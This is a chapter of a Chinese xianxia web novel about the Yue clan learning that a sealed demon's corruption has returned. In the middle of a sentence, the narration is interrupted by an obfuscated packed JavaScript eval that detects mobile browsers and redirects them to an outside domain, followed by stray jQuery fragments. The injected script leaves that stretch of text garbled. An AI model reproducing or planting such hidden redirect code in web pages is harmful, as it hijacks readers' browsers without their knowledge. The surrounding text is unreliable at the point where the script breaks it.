默认冷灰
24号文字
方正启体

2. 久魔神现世仙门忧(二)

作者:PrayerX本书字数:K更新时间:
    岳府设于净觉山脚,虽依山而建,却并不偏僻,不远于市。门前一道石阶铺上去,统共一百零八阶,阶缝里嵌着些淡青色苔草,是常年有人打理的样子,阶两侧对称摆着八角宫灯,造型精美。再看那大门,飞檐翘角,覆着翠绿的琉璃瓦,清晨雾起,颇有缥缈仙气。


    明堂作为岳氏主要的议事大厅,现下真是严肃极了。


    且不说堂内三人如何,就说它的陈设与规制。一圈十二根立柱撑起了圆形穹顶,穹顶上是一面巨大的阴阳太极图,穹顶下方环绕整圈镂空花纹的窗棂,采光极好,甚为明亮。此时此刻,初生的阳光斜斜射入,不偏不倚落在明堂正中,那尊半身高的青铜鼎被照得明晃晃的,袅袅青烟与迷蒙光束互相缠绵升腾。


    再说堂内三人。一妇人面向圆鼎打坐,闭目凝神;一青衣少女身姿端正,立于她身后;身旁的白衣少女跪坐于地,上身还算笔挺,头却耷拉着,显然不太心服了。


    “青玉。”妇人轻唤,空灵回响:“查到了么。”


    猛不丁听到动静,地上的岳灵儿吓得睁开眼,因为没听清,一眼大一眼小地前瞥着徐夫人,直到师姐回话,她才松一口气,再次低下头。


    “查到了。不过,现下有另一件事,还请我先行汇报。”岳青玉回道。


    徐夫人面对青铜鼎静心打坐,一言不发,便是默许了。


    岳青玉道:“寅时袁府急报,称敌来犯,此次出巡,共派十二名门生,我已命他们留于袁府设阵。”


    “知道了。”沉稳的声音从鼎旁缓缓传来。


    岳青玉继续说:“此次出巡,伤亡为一,身份为袁氏先家主,符篆探知,灵识生生剥离致死,行凶者......尉迟玄沧。”


    地上的岳灵儿虽然困得打盹,耳朵还是迷迷糊糊地听着。


    这一句下来行云流水,她终于理解为何安魂符会不起作用,灵识都没了,何来轮回之说?霎时热血上头,愤愤不平:“他为什么这样做?”


    徐夫人缓缓睁开双眼,沉声扬调道:“谁允许你说话了?”


    岳灵儿被母亲的冷喝声打断,胸口那股火气还没散,却又不敢顶撞。


    虽然从小到大,徐夫人的话她左耳进右耳出,可也止步于此,半句话不敢反驳。


    她憋得腮帮鼓鼓,故意狠狠‘甩’了下袖子,看似不服,实则气没处撒。


    徐夫人收式起身,落坐一旁的太师椅,掂起玉砂壶,慢条斯理地向茶盏中倒:“你继续讲。”


    岳青玉声音压得极低,满是凌厉:“只怕,项庄舞剑,意在沛公。”


    诚然,对尉迟玄沧来说,寻仇袁氏,何必十年?


    必定是另有所图,届时只怕四大家族再度联手,也是凶多吉少,而天下沧生,又该如何?


    徐夫人低眉横吹着茶盏,茶汤泛起细碎的涟漪,却迟迟不碰杯沿,只是眉头紧锁。


    那场厮杀的血腥味,明明已经压了十年,此刻又被这尉迟玄沧搅得翻涌上来。


    直到岳青玉将发黑的符篆掷向青铜鼎,青烟瞬间染黑的刹那,她再也绷不住:那黑纹,和当年凶神太岁冲破封印时的阴气,一模一样!


    她握着茶盏的手猛地收紧,杯壁灵光颤得厉害,鬓角发丝被鼎中翻涌的阴气吹贴在脸,她极力压低声线:“不必担忧。”


    岳青玉向前半步,指着鼎沿:“不必担忧?你拿什么担保?”


    徐夫人最终还是没压住情绪,重重将茶盏磕在案上,茶水飞溅:“我说了,不必担忧!此事不必议,不必提!”


    岳青玉眉头紧锁,心沉谷底:


    尉迟玄沧回来了,连凶神太岁也回来了。


    十年前,凶神太岁的魂魄一分为五,镇压于镇魂珠里。


    世人都以为它没了,却漏了件事:镇五颗镇魂珠,除了四大仙门各持一颗,还有一颗,在屠尽全族、覆灭全境的尉迟玄沧手上!


    换做谁,都会有和岳青玉一样的担忧,就连跪地的岳灵儿也义愤填膺:“娘!到底怎么回事?”


    徐夫人目光狠狠扫来:“没你的事!”


    她重将矛头对准岳青玉:“你放心,我心中自有把握,四大家族心中亦有把握。”


    眼看氛围冰到极点,岳青玉垂眸不语,指节泛白,半晌才道:“是。”


    即便岳灵儿是个不拘小节的性子,也能闻到一些火药味,虽说她如听哑谜,搞不清楚来龙去脉,还尽力调和道:“诶呀娘,师姐!别气别气!尉迟玄沧再凶,咱岳家也不怕呀!”


    见她二人仍死气沉沉,岳灵儿“嗖”地起身手舞足蹈:“看我不画十张驱邪符贴他脑门上,让他喷嚏打一天!揍他个鼻青脸肿!”


    岳青玉看向岳灵儿,拳头紧了紧又松开,眼底深意不易察觉:“你能第一个跑便好。”


    岳灵儿尴尬地笑笑,其实心里像被指头戳了下,酸溜溜的。


    师姐也嫌自己太弱吧?除了画一些歪扭的符凑合能用,武力值却极低。


    名不副实——五大仙门其一——嫡传少主。


    虽然调和效果不佳,岳青玉也没有理由继续下去,她敛神正色,从灵宝囊中取出第二样物件。


    一股河泥混着腐肉的恶臭灌满明堂,岳灵儿捏着鼻子皱紧脸。


    只见师姐手中托着株灰白水稻,茎秆溃烂,黑纹蔓延。


    岳灵儿仔细研究一番,猛地抬头:“师姐......这这这,这黑纹和那符上的是一样的!”


    岳青玉低头看水稻的茎,稍显讶色:“何以见得?”


    岳灵儿有点哽住:“没什么啊,符烧糊烧多了......天天看。”


    连黑纹这样毫无二致的东西都能辨别一二,怎么不算一种天赋呢......既如此,想来此事也与凶神阴气脱不了关系。


    岳青玉敛神道:“事出水源。”


    徐夫人放下茶盏,手抵额头,垂眸闭目,疲于言语:“是净觉山?”


    “正是,水稻根系腐烂,非稻种非土壤,便是水源,今日求证梵音河,底泥泛黑,鱼烂河决,想来是净觉山有异。”岳青玉回道。


    春朝城的水稻取水引于梵音河,此河源于净觉山,此山以西为西阳关,以东为春朝城。


    不过,传闻山上有一空音寺,寺里有一仙门出身的方丈。


    徐夫人低声质问道:“吾净法师镇守,清净之地,竟然会水源污浊。西阳关近来如何?”


    “一切如常。”岳青玉回。


    这便怪了,两地同取水于梵音河,怎么就一边受影响?


    无法讨论进展,徐夫人问道:“衔玉呢?回来了吗?“


    岳灵儿听见“衔玉”二字,立马跟按了开关似的,手在耳边圈成喇叭,另一手捏着鼻尖,眼睛瞪得溜圆。


    岳青玉回:“还未。”


    徐夫人端详着自己净白的手指,眼中的怒气挡都挡不住,任谁看来,都是极为不耐烦的表情。


    徐夫人正色道:“青玉,你先下去。”


    岳青玉收回水稻,闻声告退,这明堂之内,只剩下她们母子二人了。


    师姐一出去,独自面对这魔头,岳灵儿登时觉得棂窗洒下的不是阳光,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457994|185375||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而是暖黄色毒气弹。


    她一个膝盖跪下,跪得端端正正,先发制人道:“娘!我错了,错了,知道错了,我不应该跟着师姐偷跑出去,认罚!”


    岳灵儿低着头等待惩罚,只听上方传来极低的声音:“真是蠢货一个。”


    “你骂我吧!”岳灵儿嘴上是这样说的,心里却想着:赶紧骂,赶紧出气,起了大早还得去补觉呢。


    谁知,等了很久仍是静悄悄的,岳灵儿偷偷抬头,只见徐夫人保持着原本的动作,弯着手抵着额,合着眼睛像睡着般。


    岳灵儿觉得母亲一定累了,小声试探道:“娘……?”


    半天不等回复,岳灵儿松懈地坐在脚后跟上,谁知刚坐下,母亲一句话又吓得她激灵回来。


    “擅自出巡,你想过后果吗?”徐夫人问。


    岳灵儿很认真想了想,回答却偏了道:“师姐和师兄十五岁就独自出巡,我十七了,怎么就不让我去?”


    徐夫人睁开眼,目光随着青铜鼎上的青烟流转,声音沉了些:“你连太岁残影都辨不出,出去送死么?”


    岳灵儿哑口无言,心中五味杂陈。


    即便如此,她也丝毫不怀疑自己的价值。她又不是没认真修炼,只是时机未到。


    徐夫人道:“我顶着徐家的姓,替你坐在这岳家的位子上,承受的是什么,你知道?你跑出去送命,我同意了,他们岳家人同意?”


    “如果这样,宗主的位置干脆给师姐!反正我……”岳灵儿一双杏眼亮晶晶的,却看不出任何欣喜。


    徐夫人冷笑一声:“你愿意给,她就受得起吗?”


    岳灵儿不再说话,任她再单纯,也知道岳氏一向注重血脉传承,她的父亲、祖父、曾祖父都是世世代代传承下来的,她只是困惑,为什么不愿意把正确的事交给正确的人?


    徐夫人睁开眼,收回手:“好了,我累了,去领罚吧。”


    所谓的惩罚,岳灵儿再熟悉不过了,那便是去祠堂,跪对着列祖列宗,抄三遍《符篆真经》,此经千年所撰,可想而知,十分冗长,没有三五天,是出不来的。


    换做往常,岳灵儿势必要反抗一二,今日却没什么心思反抗了。


    临走前,岳灵儿攥着衣角,还是问出了疑惑:“明明袁爷爷灵识都被抽走了,怎么还能喊‘尉迟宗主’?”


    徐夫人的目光落在鼎中仍在翻滚的黑烟上,沉默了半晌,才淡淡道:“不知道。”


    岳灵儿没再追问,转身离开时,却瞥见封印殿的大门敞开,刚走过殿门,一股寒意从殿内飘来。


    她偷看两眼,几大长老正围着镇魂珠加强封印,原本莹白的石阵上,黑纹如藤蔓般蔓延。


    岳灵儿已走出几步开外,忽然升起一个念头。


    她看错了吧?


    镇魂珠石阵上的黑纹,怎么和袁家主符篆、水稻茎秆上的黑纹一模一样?


    她凭空在眼前挥了挥手,企图挥散尉迟玄沧这个阴魂不散的人。


    任他再强再厉害,也不可能跑岳府里撒野。


    即便如此想,心里还是隐隐不安,甚至越想越慌,于是从腰间掏出半块桂花糕,一口一口吃起来。


    她对于灵虚境的印象,只停留在一些话本当中。


    有人说尉迟氏一族覆灭前,对灵虚境的治理是极好的,尤其是尉迟宗主,威望极高。可惜其逆子一朝逆反,全境覆灭,威望不在。


    也有人说,尉迟一族,私藏祸心,自食恶果。


    总之短短十年,这一方家族就销声匿迹,无人敢提,无人愿提。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)